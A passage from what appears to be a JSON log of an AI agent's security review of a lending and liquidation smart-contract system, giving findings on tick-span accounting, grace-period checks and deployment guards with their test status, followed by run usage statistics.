`TICK_SPAN` per hold\", but not \"falls only while a take could settle\". A hold that starts just after one tick and ends just before the next is counted in full; only Paxos or the issuer can produce that pattern.\n   - **Grace (C4):** borrow, a withdrawal leaving debt and a charged rate change all pass through the one `borrowable` gate; `writeOff`, `settle` and `redeem` check `inGrace`. Read, not tested.\n   - **Untested lead:** `Liquidator.tick` catches a failed quote and records the type as unpriced; a starved call there would only stretch mark expiry.\n4. **(P5) Partly checked.** Both paths refuse a codeless governor on 4663 (`DeployRobinhood.run` and `StageCore.sol:29`). The governor address has code on Ethereum and none on 4663 today, so the deploy currently refuses. The config sets Pulse 15 min / 1 h, SGOV maxAge 49 h, the others 25 h, IMD line 0 at genesis, and the raise helper sets only the line to 3,000. I did not trace every role handed out in `Depl","treeHash":null,"usage":{"cachedInputTokens":1853070,"chain":[{"calls":1,"chainId":1,"failed":0,"own":1,"public":0,"refused":0},{"calls":1,"chainId":4663,"failed":0,"own":1,"public":0,"refused":0}],"cost":{"source":"runtime","usdMicros":4983398},"inputTokens":35,"model":"claude-fable-5-2","outputTokens":55320,"runtime":"claude","turns":18,"wallClockMs":1363673}}],"verification":[]}